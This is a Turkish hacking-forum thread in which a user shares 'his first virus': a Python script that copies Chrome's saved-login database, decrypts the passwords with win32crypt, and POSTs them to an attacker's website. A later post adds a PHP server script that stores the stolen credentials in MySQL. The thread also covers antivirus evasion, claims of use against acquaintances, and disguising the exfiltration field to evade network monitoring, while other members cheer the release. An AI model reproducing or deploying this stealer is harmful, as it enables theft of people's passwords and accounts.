Python Chrome Şifre Çalma Ve Sitenize Gönderme

Sizce virüs iyimi ?(ilk virüsüm)


  • Kullanılan toplam oy
    28

XEON0

Yeni üye
18 Mar 2017
18
0
Arkadaşlar öncelikle bu ilk konum hatta yeni üyeyim herpinize merhaba.

Neden 'Acil' yazdım derseniz bu benim yazdıgım bir virüstü aslında daha çok tepki için yapmıştım ama sonradan büyüdü ve bu hale geldi herneyse asıl acil yazma nedenim virüsün
:diablo'THOR APT Scanner':diablo tarafından bulunmasından kaynaklanıyor.

Şimdi virüsün çalışma mantıgını ve özelliklerini anlatayım.

1.Powered By
python-logo.png


2.Hızlı

3.Hala virustotal'de bulunması 10 \ 61

Mantığı İse Şöyle
Chrome bütün bilgileriniz sqlite veritabanlarında tutar bunlar şifrelidir fakat kırması base64 gibi kolaydır(kırmak win32crypt kullanılır) ben bunları kendi siteme yönlendiren bir kod yazdım buda alınan bütün şifrelerj bana gönderiyordu(Sadece belirli 'TANIDIK' kişilerde denedim fakat bir şekilde bulundu virüsüm büyük ihtimalle tanıdıklarımın pc'lerindeki virüs programları gönderdi.)


Kod:
# -*- coding: utf-8 -*-

__author__ = "XEON"
__credits__ = ["XEON"]


import sqlite3 #veritabanı baglantısını saglayacak
import win32crypt #şifreli verileri kıracak
from shutil import copy2 #veritabanarı chrome açıkken kitli olurlar o yüzden kopyalayıp okuyoruz dosyayı
from os import getenv # %appdata% gibi kısayolları okuyabilmek için kodda LOCALAPPDATA yı aktardım
from tempfile import gettempdir #Temp kalsörünü almak için getenv çalışmadı
from requests import post #aldıgım verileri siteme submitlemek için

output="" #çıktıları biriktirmek için


#Veritabanlarını kopyalıyoruz
def copy():
    copy2(getenv("LOCALAPPDATA")+"\\Google\\Chrome\\User Data\\Default\\Login Data", gettempdir() + "\\undefined0")

#veritabanlarını kopyaladımız konumdan giriş bilgilerini okuyup output degişkenine dolduruyoruz
def getlogindatas():
    global output
    conn = sqlite3.connect(gettempdir() + "\\undefined0")
    cursor = conn.execute("SELECT password_value, username_value,origin_url FROM logins;")
    for row in cursor:
        output = output + "URL: " + str(row[2]) + " Username: " + str(row[1]) + " Password: " + str(win32crypt.CryptUnprotectData(row[0])[1]) + "\n"
    conn.close()

#alınan output sitenize gönderilir url kısmı bildigimiz url, datafield kısmı ise postlanacak verinin hangi form alanı olarak gönderilecigi
def postsite(url, datafield):
    global output
    post(url, data = {datafield: str(output)})


#dosyayı kopyalamasını eger kopyalayamassa programı kapatması söylüyorum çünkü buna ya yetersiz yetki sebep olur yada chrome kurulu olmaması
try:copy()
except:
    exit()


#giriş bilgilerini al yapamazsa devam etsin belki önceki aşamalarda birkaç bilgi depolamisitir.
try:getlogindatas()
except:pass

#eger output degişkeni boş degil ise gönder eger boş ise programı kapat
if output != "":
    postsite("http://siteniz.com", "parolaalani")
else:
    exit()

Evet arkadaşlar gördügünüz üzere çok kolay bu programı kendi buldugum bir yöntemle şifreledim onda bulunma oranı daha düşük eger oda patlarsa(patlamaya yakın zamanda) yayınlarım ama eğer patlamas ise kalır umarım begenirsiniz dedigim gibi buradaki ilk konum hatam olduysa kusura bakmayın kendinize iyi bakın.

!!DİKKAT!! Bu virus yüzünden başınıza gelebilecek sorumlulugu üstlenmiyor ve bütün yaptıklarınız kendi sorumlulugunuzdur.
 
Moderatör tarafında düzenlendi:

REBDAY

Katılımcı Üye
16 Mar 2017
370
0
daha detayli anlatsaydin keske . Bu arada calinti kredi kartlari ciddi bir suctur . Kullanan arkadaslar dikkatli olsun ve Türk vatandaslarina zarar vermek misyona aykiri.
 

SeeBekO

Üye
8 Ocak 2017
241
0
Aga sen bu virüsü piyasaya sür :) sağlam bir virüs bulunmaması içinde çalış bulunmasın :) çok iyi bir virüs yapmışın helaal olsun !
 

XEON0

Yeni üye
18 Mar 2017
18
0
Aga sen bu virüsü piyasaya sür :) sağlam bir virüs bulunmaması içinde çalış bulunmasın :) çok iyi bir virüs yapmışın helaal olsun !

Teşekkürler fakat kredi kartı kısmını sildim sadece giriş bilgilerini çalmaya ayarladım kodu bilgilerinize.
 

XEON0

Yeni üye
18 Mar 2017
18
0
bilgiler bize nasıl gelicek anlamadım

Hocam örnek PHP kodunu direk yazmak isterdim fakat birazdan dışarı çıkacağım ve telefondayim kısaca şöyle anlatayim kodun en son kısmında post isteği yapıyorum.

URL kısmına kendi sitenizdeki PHP kodunun bulunduğu kısmı yazarsinız datafield kisminada post ta gidecek verinin hangi adda gideceği örneğin html formlarda inputlara name kısmında belirtiriz bende datafield dedim kendi kodumda.

Örneğin PHP de $_POST["datafilede ne yazdiysaniz o']'a gelen veriyi veritabanına kaydedersiniz
 

Halil59

Katılımcı Üye
31 Ara 2015
609
5
Bence Yararlı Ama İllahi Kötü İşler İçin Kullanan Olacaktır
 

XEON0

Yeni üye
18 Mar 2017
18
0
bilgiler bize nasıl gelicek anlamadım

İlk Konum oldugu için bi güzellik yapayım dedim al benim sunucu tarafında kullandıgım php kodu

NOT 0: ben kodda datafield kısmana 'url' yazdım. eger bir şirkette felan kullanılır proxylerden izleyen birileri vardır yani demek istedigim eger ag trafigi izleniyo ise çok dikkat çekmesin diye zaten kimse sapık gibi 7/24 izlemiyordur ag trafigini.

NOT 1:benim veritabımda tablonun adı 'pw' içindeki şifreleri sakladıgım yer is 'log'
Kod:
<?php

$servername = "mysqlsunucu.com";
$username = "mysqlkullaniciadi";
$password = "mysqlparola";
$dbname = "mysqlveritabaniadi";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
} 

$sql = "INSERT INTO pw (log) VALUES ('". mysqli_real_escape_string($conn,$_POST['url'])."')";
if ($conn->query($sql) === TRUE) {
    header('********: /' , true, 302);
} else {
    echo "";
}

$conn->close();
?>

Arkadaşlar zarasız olmasına ragmen header kodunun oldugu yer engellenmiş ****** yerine Loca tion yazın ama aradaki boşlugu silin
 

XEON0

Yeni üye
18 Mar 2017
18
0
Arkadaşlar MALESEF virus artık AVG tarafından bulunmakta yani buda demektirki yakında çogu virus progamı bunu bulabilecek
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.